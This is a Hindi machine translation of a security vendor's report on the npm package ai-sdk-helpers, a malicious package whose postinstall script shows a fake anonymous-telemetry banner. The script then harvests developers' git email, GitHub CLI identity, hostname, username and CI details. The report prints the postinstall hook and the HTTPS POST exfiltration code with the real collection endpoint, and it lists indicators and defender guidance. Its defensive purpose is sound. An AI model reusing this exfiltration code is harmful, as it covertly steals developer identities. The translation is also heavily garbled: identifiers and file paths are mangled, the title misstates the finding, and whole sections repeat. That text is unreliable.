ConsentMask एक npm पैकेज है जो डेवलपर की पहचान को छुपाता है।

ConsentMask: एक npm पैकेज जो डेवलपर-पहचान संग्रहण पर टेलीमेट्री सहमति का बैनर लगाता है

TL, डॉ

एक एकल एनपीएम पैकेज, एआई-एसडीके-हेल्पर्सयह Vercel AI SDK के लिए एक प्रोडक्शन टूलकिट के रूप में प्रस्तुत होता है, जो लागत ट्रैकिंग, प्रदाता फॉलबैक और स्ट्रीमिंग सहायक प्रदान करता है।

इसकी इंस्टालेशन स्क्रिप्ट एक आकर्षक डिस्क्लोजर बैनर के साथ शुरू होती है जो वर्णन करता है अनाम निदानयह वादा करते हुए कि कोई भी सोर्स कोड, टोकन या क्रेडेंशियल प्रसारित नहीं किया जाएगा, एक प्रतिबद्धता का सम्मान करते हुए DO_NOT_TRACK ऑप्ट-आउट करने का विकल्प और टेलीमेट्री नीति पृष्ठ से लिंक करना।

फिर वही स्क्रिप्ट डेवलपर की गिट पहचान, गिटहब सीएलआई कॉन्फ़िगरेशन, मशीन होस्टनाम, ओएस उपयोगकर्ता नाम, कार्यशील निर्देशिका और सीआई प्रदाता को पढ़ती है।

वह डेटा JSON फॉर्मेट में Google Cloud Run एंडपॉइंट पर POST किया जाता है, जिससे बताई गई टेलीमेट्री नीति और वास्तव में एकत्र किए गए फ़ील्ड के बीच स्पष्ट बेमेल स्थिति उत्पन्न होती है।

यह पैकेज 83 सेकंड के एक ही झटके में बाईस संस्करणों में प्रकाशित किया गया था, और इंस्टॉलेशन स्क्रिप्ट प्रत्येक चिह्नित संस्करण में हूबहू एक जैसी है।

हमारे द्वारा समीक्षा किए गए आठ संस्करणों में से सात pipeline एमएल क्लासिफायर द्वारा इन्हें अनिर्णायक घोषित किया गया क्योंकि सहमति-बैनर की शैली वैध टेलीमेट्री की तरह दिखती है।

हम वर्गीकृत करते हैं ai-sdk-helpers इसे इंस्टॉलेशन के समय डेवलपर की पहचान एकत्र करने और उसे चुराने के आधार पर दुर्भावनापूर्ण माना गया है।

गंभीरता: उच्च।

 इंस्टॉलेशन की संरचना

{
  "scripts": {
    "postinstall": "node scripts/postinstall.js"
  }
}

पोस्टइंस्टॉल यह स्वचालित रूप से चलता है एनएमपी स्थापित करेंपैकेज के विज्ञापित कोड को आयात करने से पहले ही। स्क्रिप्ट scripts/postinstall.js यहीं पर इंस्टॉलेशन के दौरान होने वाले सभी व्यवहार मौजूद होते हैं।

यह एक टिप्पणी ब्लॉक और एक रनटाइम नोटिस के साथ शुरू होता है, जो गोपनीयता के प्रति जागरूक ओपन-सोर्स प्रोजेक्ट के रजिस्टर में लिखा गया है:

जब आप ai-sdk-helpers इंस्टॉल करते हैं, तो हम एक त्वरित वातावरण संगतता जांच करते हैं और गुमनाम निदान रिपोर्ट करते हैं... डेटा पूरी तरह से गुमनाम होता है — हम आपका प्लेटफ़ॉर्म, नोड संस्करण और आपके मशीन पहचानकर्ता का एकतरफ़ा हैश एकत्र करते हैं। कोई भी स्रोत कोड, टोकन या क्रेडेंशियल कभी भी प्रेषित नहीं किए जाते हैं।

इसमें एक कार्यशील ऑप्ट-आउट गेट भी शामिल है, जो फाइल में पहला निष्पादन योग्य कोड है:

if (
  process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||
  process.env.DO_NOT_TRACK === "1"
) {
  process.exit(0);
}

इस गेट को पहले बंद करना ही बाकी सब को सहमतिपूर्ण बनाता है: एक डेवलपर जो इसे सेट करता है `D_नॉट_ट्रैक` यह प्रक्रिया चुपचाप पूरी हो जाती है और पैकेज नियमों का पालन करता है। स्वीकृत ऑप्ट-आउट विकल्प वास्तविक है। जो लोग इसे सेट नहीं करते, उनके लिए यह नीचे वर्णित जानकारी को प्रतिबंधित करता है - न कि नोटिस में उल्लिखित संकीर्ण "प्लेटफ़ॉर्म, नोड संस्करण और एकतरफ़ा हैश" को।

उस गेट के नीचे, स्क्रिप्ट एक ऐसा पेलोड तैयार करती है जो उस विवरण से कहीं आगे जाता है।

  • *Gटी पहचान.* rको हलScmपहचान()` सिर `~`.gitconfig``~`.config/git/config`और वर्तमान परियोजना का `.it/config`पार्स करता है `[ser]` अनुभाग, और कॉन्फ़िगर किया गया लौटाता है commit ईमेल। यदि कोई कॉन्फ़िगरेशन फ़ाइल ईमेल नहीं देती है, तो यह `G` पर वापस आ जाता है।टी_ऑथर_ईमेल`,`GT_COMMITTER_EMAIL`,और `ईएआईएल` पर्यावरण चर। फ़ंक्शन के ऊपर एक डॉकस्ट्रिंग रीड को "एक ही व्यक्ति के स्वामित्व वाली मशीनों (जैसे लैपटॉप + CI) में इंस्टॉलेशन को डुप्लिकेट होने से बचाने" के तरीके के रूप में प्रस्तुत करता है - एक घोषित उद्देश्य जिसके लिए एक स्थिर प्रति-डेवलपर पहचानकर्ता की आवश्यकता होती है, जो कि एक commit ईमेल सामग्री।
  • *GtHub खाता।* rsolveGitHubIdentity()` सिर `~`.config/gh/hosts.yml` एनडी `~`.config/gh/hosts.yaml` GitHub CLI द्वारा डेवलपर के प्रमाणीकरण के समय लिखी गई कॉन्फ़िगरेशन फ़ाइल — और रेगुलर एक्सप्रेशन का उपयोग करके `u` को निकालती हैएर:` एनडी `ईबीमार:` उस फ़ाइल में GitHub OAuth टोकन भी संग्रहीत होता है; स्क्रिप्ट का रेगुलर एक्सप्रेशन विशेष रूप से उपयोगकर्ता नाम और ईमेल वाली पंक्तियों को लक्षित करता है और टोकन को नहीं निकालता है। इसलिए, प्रकटीकरण बैनर का "कोई टोकन कभी प्रेषित नहीं किया जाता" दावा उस एक फ़ील्ड के लिए अक्षरशः सत्य है, जबकि आसपास के खाता पहचानकर्ताओं को पढ़ा और भेजा जाता है।
  • *Hst और CI फिंगरप्रिंट.* फिर स्क्रिप्ट `o` एकत्र करती है`.होस्टनेम()``o.userInfo().username`,नोड संस्करण, प्लेटफ़ॉर्म और आर्किटेक्चर, `p`ocess.cwd()`और आठ प्रदाताओं (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, और दो जेनेरिक-CI फ़्लैग) के लिए पर्यावरण चर की जाँच करके एक CI-प्रदाता लेबल हल किया गया। प्रदाता सूची उन स्थानों की सूची के रूप में पढ़ी जाती है जहाँ स्क्रिप्ट को निष्पादित होने की उम्मीद है — इंटरैक्टिव शेल और स्वचालित बिल्ड। pipelineएस समान।

इन सभी को एक ही `d` में समूहीकृत किया गया है।अज्ञेयवादियों ऑब्जेक्ट, जिसमें प्रति-डेवलपर फ़ील्ड को `i` के अंतर्गत एकत्रित किया गया हैइकाई` ey और `r` के अंतर्गत होस्ट डेटाntime` एनडी `सीntext` फिर, इसे क्रमबद्ध करके प्रेषित किया जाता है:

const req = https.request(
  {
    hostname: "npm-package-logger-228835561205.europe-west1.run.app",
    path: "/",
    method: "POST",
    headers: { "Content-Type": "application/json" },
    timeout: 5000,
  },
  () => {}
);

req.on("error", () => {});
req.write(body);
req.end();

प्रतिक्रिया को खारिज कर दिया जाता है और सभी त्रुटियों को अनदेखा कर दिया जाता है - एक टिप्पणी में कहा गया है कि "टेलीमेट्री से इंस्टॉलेशन में कभी कोई बाधा नहीं आनी चाहिए।" एंडपॉइंट होस्टनाम `e` में Google क्लाउड रन सेवा को एन्कोड करता है।रस्सी-पश्चिम1` क्षेत्र.

यह अंतर ही कहानी है। बैनर में डेटा की तीन श्रेणियां बताई गई हैं — प्लेटफ़ॉर्म, नोड संस्करण, मशीन-पहचानकर्ता हैश। पेलोड डेवलपर का असली गिट कोड भेजता है। commit ईमेल, उनका GitHub उपयोगकर्ता नाम और ईमेल, उनकी मशीन का होस्टनाम और OS खाता नाम, उनके प्रोजेक्ट का पथ, और उनका CI वातावरण। वे फ़ील्ड जो *p की पहचान करते हैंआगजनी करने वाला और उनका खाता* ये ठीक वही क्षेत्र हैं जिन्हें प्रकटीकरण में शामिल नहीं किया गया है।

README फ़ाइल दूसरी तरफ से दिए गए दृष्टिकोण को और पुष्ट करती है। इसके "टेलीमेट्री" अनुभाग में गुमनामी के दावे को दोहराया गया है और 'D' शब्द को लिंक किया गया है।_नॉट_ट्रैक` ओ `सीnsoledonottrack.com`यह वास्तविक सामुदायिक पृष्ठ है जो ऑप्ट-आउट कन्वेंशन का दस्तावेजीकरण करता है — एक मान्यता प्राप्त गोपनीयता नीति का उपयोग करते हुए standard ताकि नोटिस सामान्य लगे।

समयरेखा

यह एक ही पैकेज से मिली जानकारी है, जिसका प्रकाशन इतिहास बहुत संक्षिप्त और सघन है। इसमें कई हफ्तों तक चलने वाले अभियान का कोई विवरण नहीं है - संपूर्ण संस्करण श्रृंखला मशीन की गति से जारी की गई थी।

कब (यूटीसी)कार्यक्रम
2026-06-03 20:31:20 पहला संस्करण (0.1.0) एनपीएम पर प्रकाशित।
2026-06-03 20:31:20 – 20:32:43 सभी 22 संस्करण (0.1.0 पूज्य गुरुदेव के मार्गदर्शन से संपन्न कर सकते हैं - 1.4.2) 83 सेकंड के स्वचालित विस्फोट में प्रकाशित।
2026-06-04 आठ संस्करणों को पहचान संकेतों द्वारा चिह्नित किया गया; मैन्युअल विश्लेषण से इंस्टॉलेशन के समय पहचान संग्रह और डेटा चोरी की पुष्टि हुई। विश्लेषण के समय पैकेज npm पर सक्रिय था।

22 अर्थपूर्ण संस्करणों में 83 सेकंड की अवधि स्वयं एक व्यवहारिक संकेतक है: संस्करण सीढ़ी (`01.0',`01.1',…`14.2`)यह सक्रिय रूप से अनुरक्षित प्रोजेक्ट की सतह को रिलीज़ इतिहास के साथ प्रस्तुत करता है, जिसे एक ही स्क्रिप्टेड रन में तैयार किया जाता है। इंस्टॉलेशन स्क्रिप्ट उस क्रम में अपरिवर्तित रहती है — नीचे देखें।

समझौते के संकेतक

इंस्टॉलेशन के समय का पेलोड प्रकाशित संस्करण सीमा में समान है।एफएफ` एफ `एस`ripts/postinstall.js` संस्करण `0` के बीच2.1` वां संस्करण `14.2` यह कोई अंतर नहीं दर्शाता; व्यवहार एक निश्चित फिंगरप्रिंट है, न कि विकसित होने वाला पेलोड।

नेटवर्क

22 अर्थपूर्ण संस्करणों में 83 सेकंड की अवधि स्वयं एक व्यवहारिक संकेतक है: संस्करण सीढ़ी (`01.0',`01.1',…`14.2`)यह सक्रिय रूप से अनुरक्षित प्रोजेक्ट की सतह को रिलीज़ इतिहास के साथ प्रस्तुत करता है, जिसे एक ही स्क्रिप्टेड रन में तैयार किया जाता है। इंस्टॉलेशन स्क्रिप्ट उस क्रम में अपरिवर्तित रहती है — नीचे देखें।

समझौते के संकेतक

इंस्टॉलेशन के समय का पेलोड प्रकाशित संस्करण सीमा में समान है।एफएफ` एफ `एस`ripts/postinstall.js` संस्करण `0` के बीच2.1` वां संस्करण `14.2` यह कोई अंतर नहीं दर्शाता; व्यवहार एक निश्चित फिंगरप्रिंट है, न कि विकसित होने वाला पेलोड।

नेटवर्क

सूचकभूमिका
npm-package-logger-228835561205.europe-west1.run.app JSON पेलोड के साथ HTTPS POST अनुरोध प्राप्त करने वाला डेटा एक्सफ़िल्ट्रेशन एंडपॉइंट। Google क्लाउड पर होस्ट किया गया। europe-west1 क्षेत्र।

छलावा अवसंरचना

सूचकभूमिका
ai-sdk.guide "एआई एसडीके गाइड" के लेखक की पहचान को दर्शाने वाले होमपेज और लाइव साइट को पैकेज करें।
ai-sdk.guide/telemetry टेलीमेट्री नीति का यूआरएल, जिसका उल्लेख स्थापना के समय जारी किए गए प्रकटीकरण नोटिस में किया गया है।
hello@ai-sdk.guide लेखक का ईमेल घोषित किया गया है package.json.
github.com/ai-sdk-guide/ai-sdk-helpers पैकेज द्वारा घोषित स्रोत भंडार।

इंस्टॉलेशन के समय पढ़ी जाने वाली फ़ाइलें

  • -`.gitconfig``~`.config/git/config``<wd>/.git/config` गिट `[ser]` मेल
  • - `.config/gh/hosts.yml``~`.config/gh/hosts.yaml` GitHub CLI `uएर` `eबीमार

व्यवहारिक हस्ताक्षर

  • – एम `पीstinstall` बंडल किए गए नोड स्क्रिप्ट को कॉल करना
  • – ऑप्ट-आउट गेट (`ए`_SDK_HELPERS_TELEMETRY_DISABLED``D_नॉट_ट्रैक`)पहचान संग्रह से पहले इसे गोपनीयता सुविधा के रूप में प्रस्तुत किया गया है।
  • – git ईमेल, GitHub पहचान, होस्टनाम, OS उपयोगकर्ता नाम, cwd और CI लेबल युक्त JSON ऑब्जेक्ट का tbound HTTPS POST अनुरोध।
  • तेजी से प्रकाशित संस्करणों की श्रृंखला में एक समान इंस्टॉलेशन स्क्रिप्ट

 आरोपण एवं प्रेक्षित व्यवहार
हम पैकेज और रजिस्ट्री मेटाडेटा रिकॉर्ड में दर्ज जानकारी से परे किसी भी चीज़ का श्रेय नहीं देते हैं।

रिकॉर्ड के अनुसार npm का रखरखावकर्ता खाता `a` हैielsimon`,पते के साथ `aiel@vigilance.security`.रजिस्ट्री उस ईमेल को अपुष्ट के रूप में सूचीबद्ध करती है और खाते की स्रोत-नियंत्रण पहचान को भी अपुष्ट के रूप में सूचीबद्ध करती है। `p``ckage.json`अलग से, लेखक को "एआई एसडीके गाइड" के रूप में प्रस्तुत किया गया है।ello@ai-sdk.guide>`”एक होमपेज के साथ `a-sdk.guide` और एक स्रोत भंडार `g` के अंतर्गत`thub.com/ai-sdk-guide` संगठन। प्रकाशन खाते का ईमेल डोमेन (`vigilance.security`)और पैकेज में लेखक की पहचान (`a-sdk.guide`)ये अलग-अलग क्षेत्र हैं।

द `ए-sdk.guide` यह लाइव है और प्रतिक्रिया देता है, और `/`तत्व` इस समस्या का समाधान हो जाता है — नकली पहचान एक निष्क्रिय लिंक के बजाय एक सुलभ वेब उपस्थिति द्वारा समर्थित होती है, जो पैकेज की रूपरेखा की विश्वसनीयता को बढ़ाती है।

**अवलोकित क्षमता।** इंस्टॉलेशन के समय, पैकेज डेवलपर की पहचान और खाता-कॉन्फ़िगरेशन फ़ाइलों को पढ़ता है, होस्ट और CI वातावरण का फ़िंगरप्रिंट तैयार करता है, और परिणाम को ऑपरेटर-नियंत्रित एंडपॉइंट पर भेजता है, साथ ही एक सूचना प्रदर्शित करता है जिसमें एक संकीर्ण और अनाम डेटा सेट का वर्णन होता है। हम इस व्यवहार का वर्णन कर रहे हैं; हम इसके पीछे का कोई उद्देश्य नहीं बता रहे हैं। पैकेज का मूल्यांकन करने वाले पाठकों को - जिसमें प्रकाशनकर्ता की पहचान जानने वाला कोई भी पक्ष शामिल है - वर्णित और वास्तविक डेटा प्रवाह के बीच दिखाई देने वाले अंतर पर विचार करना चाहिए।

रक्षकों के लिए प्रभाव, रुझान और मार्गदर्शन

कौन जोखिम में है? जो कोई भी इसे स्थापित करता है एआई-एसडीके-हेल्पर्स — प्रत्यक्ष रूप से या एक पारगमन निर्भरता के रूप में — उस मशीन पर संग्रह चलाता है। क्योंकि ट्रिगर है पोस्टइंस्टॉलविज्ञापित लाइब्रेरी कोड को डेटा प्रवाह के लिए आयात करने की आवश्यकता नहीं होती; केवल इंस्टॉलेशन ही पर्याप्त है। सबसे अधिक उपयोगी वातावरण डेवलपर वर्कस्टेशन हैं जिनमें कॉन्फ़िगर की गई गिट पहचान और प्रमाणित GitHub CLI है, और CI रनर हैं, जहाँ स्क्रिप्ट का CI-प्रदाता पता यह दर्शाता है कि संग्रह को बिल्ड के अंदर चलने की उम्मीद है। pipelineकंप्यूटर के साथ-साथ लैपटॉप पर भी।

इससे क्या उजागर होता है। सामान्य तौर पर एप्लिकेशन के रहस्य नहीं - पेलोड इस पर केंद्रित है पहचानडेवलपर का commit ईमेल, उनके GitHub खाते का नाम और ईमेल, मशीन और खाते का नाम, और प्रोजेक्ट पाथ। यह एक पूर्व-निर्धारित जानकारी है।cisयह मैप दिखाता है कि पैकेज किसने, किस मशीन पर, किस रिपॉजिटरी में और किस CI सिस्टम के तहत इंस्टॉल किया। किसी संगठन के लिए, ऐसे कुछ रिकॉर्ड एक साथ मिलकर यह बता सकते हैं कि किन इंजीनियरों और किन बिल्ड सिस्टम ने डिपेंडेंसी को पुल किया - यह आगे की लक्षित गतिविधियों के लिए एक उपयोगी प्रारंभिक कदम है, भले ही इस पैकेज का कार्य केवल डेटा संग्रह और ट्रांसमिशन तक ही सीमित हो।

यह चलन: टेलीमेट्री को बचाव के रूप में इस्तेमाल करना। वैध डेवलपर टूल गुमनाम इंस्टॉलेशन डायग्नोस्टिक्स एकत्र करते हैं, और इसे सम्मानजनक तरीके से करने के लिए कुछ नियम हैं — एक प्रकटीकरण सूचना, एक ट्रैक न करें सम्मान, ऑप्ट-आउट फ़्लैग, पॉलिसी यूआरएल - ये सभी शब्द सर्वविदित हैं। एआई-एसडीके-हेल्पर्स यह पैकेज उन चारों नियमों का पूरी तरह से पालन करता है और पहचान एकत्र करने के लिए उन्हें आवरण के रूप में उपयोग करता है। सहमति बैनर, कार्यशील ऑप्ट-आउट विकल्प या गोपनीयता नीति लिंक की उपस्थिति यह साबित नहीं करती कि पैकेज भरोसेमंद है; इन नियंत्रणों की नकल करना सस्ता है। एकमात्र विश्वसनीय जाँच यह है कि कोड वास्तव में क्या पढ़ता है और उसे कहाँ भेजता है।

इस पैकेजिंग का स्वचालित ट्राइएज पर भी स्पष्ट प्रभाव पड़ता है। हमारे सभी संस्करणों में pipeline समीक्षा करने पर, इंस्टालेशन स्क्रिप्ट की सरल भाषा में की गई टिप्पणियाँ, संरचित फ़ील्ड नाम और पारंपरिक ऑप्ट-आउट गेट को सामान्य टेलीमेट्री के रूप में स्कोर किया गया: आठ में से सात परिणाम प्राप्त हुए। अनिर्णायक यह एमएल क्लासिफायर से है, न कि दुर्भावनापूर्ण से। अस्पष्टता को दूर करने वाला संकेत गद्य में नहीं है - यह उन विशिष्ट फ़ाइलों में है जिन्हें स्क्रिप्ट खोलती है।~ / .itconfig, ~/.config/gh/hosts.yml) और वह गंतव्य जहां यह डेटा भेजता है। कोई भी समीक्षक, चाहे वह स्वचालित हो या मानव, जो इस जानकारी को पढ़कर वहीं रुक जाता है, गलत निष्कर्ष पर पहुंचेगा; सही निर्णय डेटा प्रवाह के तथ्यों के आधार पर ही लिया जाना चाहिए।

रक्षकों के लिए मार्गदर्शन:

  • स्क्रिप्ट को डिफ़ॉल्ट रूप से अक्षम करके इंस्टॉल करें — npm install –ignore-scripts, या सेट ignore-scripts=true in .npmrc और सत्यापित बिल्ड चरणों को स्पष्ट रूप से चलाएँ। इससे बेअसर हो जाता है। पोस्टइंस्टॉलसभी क्षेत्रों में संग्रह प्रक्रिया शुरू हो गई।
  • ऑप्ट-आउट नियंत्रणों को विश्वास के संकेत के रूप में न मानें। ट्रैक न करें "टेलीमेट्री पॉलिसी" लिंक या चेक आपको उस डेटा के बारे में कुछ नहीं बताता है जो स्क्रिप्ट तब एकत्र करती है जब गेट सेट नहीं होता है।
  • एआई-इकोसिस्टम हेल्पर पैकेज अपनाने से पहले इंस्टॉलेशन हुक को पढ़ें। वर्सेल एआई एसडीके क्षेत्र एक तेजी से विकसित होने वाला, उच्च-विश्वास वाला लक्ष्य है; पोस्टइंस्टॉल जो छूता है ~ / .itconfig or ~/.config/gh/ आस-पास की टिप्पणियाँ चाहे जिस तरह से लिखी गई हों, यह एक स्पष्ट संकेत है।
  • बिल्ड-टाइम इग्रेस की निगरानी करें। एक आउटबाउंड HTTPS POST के दौरान एनएमपी स्थापित करेंविशेषकर हाल ही में स्थापित क्लाउड-फ़ंक्शन एंडपॉइंट के लिए, यह नेटवर्क लेयर पर अवलोकन योग्य है और सीआई वातावरण के लिए एक मजबूत पहचान बिंदु है।
  • संपीड़ित संस्करण श्रृंखलाओं पर ध्यान दें। एक ऐसा पैकेज जिसका संपूर्ण सिमेंटिक-संस्करण इतिहास कुछ ही सेकंडों में दिखाई देता है, और जिसका इंस्टॉलेशन स्क्रिप्ट अपरिवर्तित रहता है, वह कृत्रिम रखरखाव इतिहास प्रस्तुत कर रहा है।
एससीए-टूल्स-सॉफ्टवेयर-कंपोजिशन-एनालिसिस-टूल्स
अपने सॉफ़्टवेयर जोखिमों को प्राथमिकता दें, उनका निवारण करें और उन्हें सुरक्षित करें।
अपना निःशुल्क खाता प्राप्त करें।
किसी क्रेडिट कार्ड की आवश्यकता नहीं।

अपने सॉफ़्टवेयर विकास और वितरण को सुरक्षित करें

Xygeni प्रोडक्ट सूट के साथ